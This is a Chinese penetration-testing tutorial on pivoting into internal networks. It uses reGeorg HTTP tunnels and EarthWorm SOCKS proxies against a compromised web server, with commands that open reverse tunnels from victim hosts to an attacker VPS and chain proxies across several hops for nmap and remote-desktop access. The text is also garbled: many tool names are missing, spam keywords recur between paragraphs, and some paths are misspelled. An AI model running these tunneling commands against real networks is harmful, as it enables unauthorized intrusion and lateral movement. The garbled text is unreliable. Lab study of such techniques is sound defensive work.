HTTP协议即超文本传输协议,是上行信息传输时使用最为广泛的一种非常简单的通讯协议。部分局域网对协议进行了限制,只允许用户通过HTTP协议访问外部网站。HTTP 代理用于将所有的流量转发到内网。

下载地址:

首先我们需要明白正向代理和反向代理的区别:

正向代理( Proxy)

Lhost-->proxy-->Rhost

Lhost为了访问到Rhost,向proxy代理服务器发送了一个请求并且指定目标是Rhost,然后proxy向Rhost转交请求并将获得的内容返回给Lhost,简单来说正向代理就是proxy代替了我们去访问Rhost。

反向代理( proxy)

LhostproxyfirewallRhost

和正向代理相反,Lhost只向proxy发送普通的请求,具体让他转到哪里,proxy自己判断,然后将返回的数据递交回来,这样的好处就是在某些防火墙只允许proxy数据进出的时候可以有效的进行穿透。

简单说就是正向代理是指攻击机主动通过代理来访问目标机器,反向代理是指目标机器通过代理进行主动连接。我们平常使用的reDuh、tunna,和一样,都是正向代理。一般都是用户上传一个代理脚本到服务器端,本地的程序去连接服务器上的脚本,脚本程序做代理转发端口和流量。

是reDuh的升级版,主要功能是将内网服务器端口的数据通过HTTP(S)隧道转发到本机,实现基于HTTP协议的通信。

软件sockboom_软件socket_sockscap软件

测试环境如下:

软件socket_sockscap软件_软件sockboom

内网有三台主机,其中web服务器有两个网卡,分别连接内外网,其余内网两台主机无法与外网通信,但可以与web服务器win7互访;攻击者vps可以访问web服务器。我们的思路是利用HTTP 代理,将攻击者所有流量转发到内网中,实现对内网其余主机的控制。

将的对应脚本文件..php,此时攻击机访问远程服务器上的.jsp文件,页面返回“Georg says, ‘All seems fine’”后,攻击机kali在本地用.py脚本监听本地的9999端口,即可建立一个通信链路。

操作时将.(aspx|ashx|jsp|php)上传到目标Web服务器,具体取决于远程服务器支持什么样的语言。我这里是php服务器,所以我们上传..php,php这里分为有与无的,.php需要使用dl()函数加载模块,其需要修改php.ini,所以我们使用的是..php。

sockscap软件_软件socket_软件sockboom

然后攻击者执行:

python reGeorgSocksProxy.py -u http://192.168.1.7/tunnel.nosocket.php -p 9999

程序卡在“Georg says, ‘All seems fine’”表示正常运行。

接下来安装并配置-ng

git clone https://github.com/rofl0r/proxychains-ng.gitcd proxychains-ng./configuremake && make installcp ./src/proxychains.conf /etc/proxychians.confcd .. && rm -rf proxychains-ng

编辑配置文件:

vim /etc/proxychains.con

在末尾添加

socks5 127.0.0.1 9999 // 9999为你自己的端口,需要与reGeorg中设置的端口相同

软件socket_软件sockboom_sockscap软件

现在就可以在攻击者vps本地机器上使用对应用程序进行代理来访问目标内网中的资源了,使用方法即在工具名前面加上,如nmap通过代理扫描内网 8主机的端口:

proxychains4 nmap 192.168.52.138 -Pn -sT -p 3389         // -Pn和-sT必须带着

(可以看见设置代理的shell里面有数据传输)

接下来打开内网 8主机的远程桌面:

proxychains4 rdesktop 192.168.52.138

sockscap软件_软件sockboom_软件socket

成功。当然系统可以使用等工具进行代理:

应用层的隧道还有有一个重要的技术就是DNS隧道技术,我将在未来专门写一个专题来对其进行介绍。

SOCKS 代理技术

Socks代理即全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。利用SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。

常见的网络场景有如下三类:

服务器在内网中,可以任意访问外部网络。

服务器在内网中,可以访问外部网络,但服务器安装了防火墙来拒绝敏感端口的连接。

服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。

下载链接:

EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。该工具包中有多个可执行文件,以适应不同的操作系统(Linux、、Mac OS、ARM-Linux均包含在内)

软件sockboom_sockscap软件_软件socket

下载地址:

的主要功能是将内网服务器的端口通过HTTP(S)隧道转发到本机,形成一个回路。其可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。利用建立一个socks代理进行内网穿透,服务器必须支持 ASPX、PHP、JSP中的一种。

下载地址:

是一款在环境中相当好用的代理软件,其可以使应用程序通过SOCKS代理服务器来访问网络。

下载地址:

也是一款非常好用的全局代理软件,其提供了跨平台的端口转发和代理功能,适用于、Linux、Mac OS平台。

下载地址:

是一款可以在Linux下实现全局代理的软件,非常好用,可以使任何应用程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCK 5类型的代理服务器。

下面讲一下这几个工具的具体用法。

EW有六种命令格式,分别是、、、、、。命令用于普通网络环境的正向连接,和用于反弹连接,其他命令用于复杂网络环境的多级级联。

sockscap软件_软件socket_软件sockboom

测试环境:左侧有一个人计算机,为攻击者的计算机,位于攻击者的内网中,攻击者还有一台公网中的vps;右侧是一个受害内网,有三台机器,我们已经控制的web服务器有两个网卡,是连接外网和内网的关键节点,内网其他机器之间均不能直接连接。

(1)正向 SOCKS 5 服务器

适用于目标机器拥有一个外网IP地址的情况下,如上图内网web服务器的模拟外网IP为192.168.1.7。在web服务器上面上传对应的ew程序并执行:

ew_for_Win.exe -s ssocksd -l 888

这样,就在内网web服务器上面架设了一个端口为888的socks代理服务。接下来我们就可以设置或添加这个socks代理服务器(192.168.1.7)的代理即可。配置:

软件socket_软件sockboom_sockscap软件

打开内网 8的远程桌面:

proxychains4 rdesktop 192.168.52.138

sockscap软件_软件sockboom_软件socket

(2)反弹 SOCKS 5 服务器

正向 SOCKS 5 服务器适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们怎么访问内网的资源呢?

sockscap软件_软件socket_软件sockboom

在这个测试环境中,与上一个相似,只是web服务器没有了公网IP,但能上网;VPS是真的公网vps了。

在攻击者公网vps上面上传并执行:

./ew_for_linux64 -s rcsocks -l 1080 -e 1234

该命令的意思是在vps上添加一个转接隧道,监听1234,把本地1234端口收到的代理请求转交给1080端口,这里1234端口只是用于传输流量。

sockscap软件_软件socket_软件sockboom

接着,在内网web服务器(192.168.52.143)上传.exe,并执行命令:

ew_for_Win.exe -s rssocks -d 39.xxx.xxx.210 -e 1234

该命令的意思是在受害者web服务器上启动服务,并反弹到公网IP地址为39.xxx.xxx.210的1234端口上。此时vps上面显示“ OK!”说明连接成功:

软件sockboom_sockscap软件_软件socket

现在就可以在攻击者计算机上面配置或等工具通过访问公网vps(39.xxx.xxx.210)的1080端口来使用内网web服务器上面架设的代理服务了。如我们打开内网文件服务器的远程桌面:

proxychains4 rdesktop 192.168.52.141

软件sockboom_sockscap软件_软件socket

(3)二级网络环境(a)

适用于目标机器拥有一个外网IP地址的情况下。

sockscap软件_软件sockboom_软件socket

右侧内网A主机有两个网卡,一个连接外网(192.168.1.7),另一个只能连接内网的B主机,但不能访问内网中的其他主机资源。B主机可以访问内网其他资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权。

我们先将ew上传至B主机上面,并用方式启动1234端口的正向socks代理:

ew_for_Win.exe -s ssocksd -l 1234

接着,将ew上传至A主机中,并执行命令:

ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.52.138 -g 1234

该命令将A主机1080端口收到的代理请求转发给B主机(192.168.52.138)的1234端口。

现在,我们就可以通过访问A主机的公网IP(192.168.1.7)的1080端口来使用架设在B主机上的socks代理服务了。配置:

sockscap软件_软件sockboom_软件socket

用ssh连接内网服务器(192.168.52.128):

软件sockboom_软件socket_sockscap软件

连接成功。

(4)二级网络环境(b)

刚才那个适用于目标机器拥有一个外网IP地址的情况下,假设目标机器没有公网IP的情况下,我们该怎么办呢?

软件socket_sockscap软件_软件sockboom

如上图环境,A主机既没有公网IP,但能访问外网,也不能访问内网资源,但可以访问内网B主机;内网B主机可以访问内网资源,但不能访问外网。假设我们已经获得了A主机和B主机的控制权限。

这里,我们不能像前一种情况那样通访问A主机来使用内网B主机上面架设的socks代理服务,可以通过访问vps来访问B主机上面架设的socks服务。

我们先在公网vps上传ew,在公网vps上面添加转接隧道,监听1080端口,并将1080端口收到的代理请求发送给1234端口,执行命令:

ew_for_linux64 -s lcx_listen -l 1080 -e 1234

sockscap软件_软件socket_软件sockboom

然后将ew上传至内网B(192.168.52.138)主机,并利用方式启动999端口的正向socks代理,执行命令:

ew_for_Win.exe -s ssocksd -l 999

最后,将ew上传到内网A主机上,在A主机(192.168.52.143)上利用方式,将公网vps的1234端口与内网B主机(192.168.52.138)的999端口连接起来sockscap软件,执行命令:

ew_for_Win.exe -s lcx_slave -d 39.xxx.xxx.210 -e 1234 -f 192.168.52.138 -g 999

此时,就可以设置等代理工具,通过访问公网vps的1080端口来使用架设在内网B主机上的socks代理服务了。如下设置:

sockscap软件_软件sockboom_软件socket

访问内网机器(192.168.52.141)的远程桌面:

软件sockboom_sockscap软件_软件socket

访问成功。除了,我们还可以使用、等代理工具。如下,我们使用来访问内网机器。

打开,,将你想要进行代理的应用程序添加进去(方法很简单,找到可执行文件后拖进去即可),这里我把远程桌面程序添加了进去

软件sockboom_软件socket_sockscap软件

点击上面的“代理”,进去添加一个代理,设置好vps或代理服务器的IP和指定的端口。

软件socket_sockscap软件_软件sockboom

添加好后点击右下角“保存”。回到主界面,点击那个“闪电”形状的按钮,测试代理服务器能否正常连接

sockscap软件_软件socket_软件sockboom

正常连接后,右击远程桌面程序,选择“在代理隧道中运行选中程序”,就可以访问内网远程机器了

软件sockboom_软件socket_sockscap软件

同样的方法,我们也可以用浏览器来访问内网的资源,比如我们访问内网服务器192.168.52.128上面的资源:

sockscap软件_软件sockboom_软件socket

参考:

《内网安全攻防:渗透测试实战指南》

会员全站资源免费获取,点击查看会员权益

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注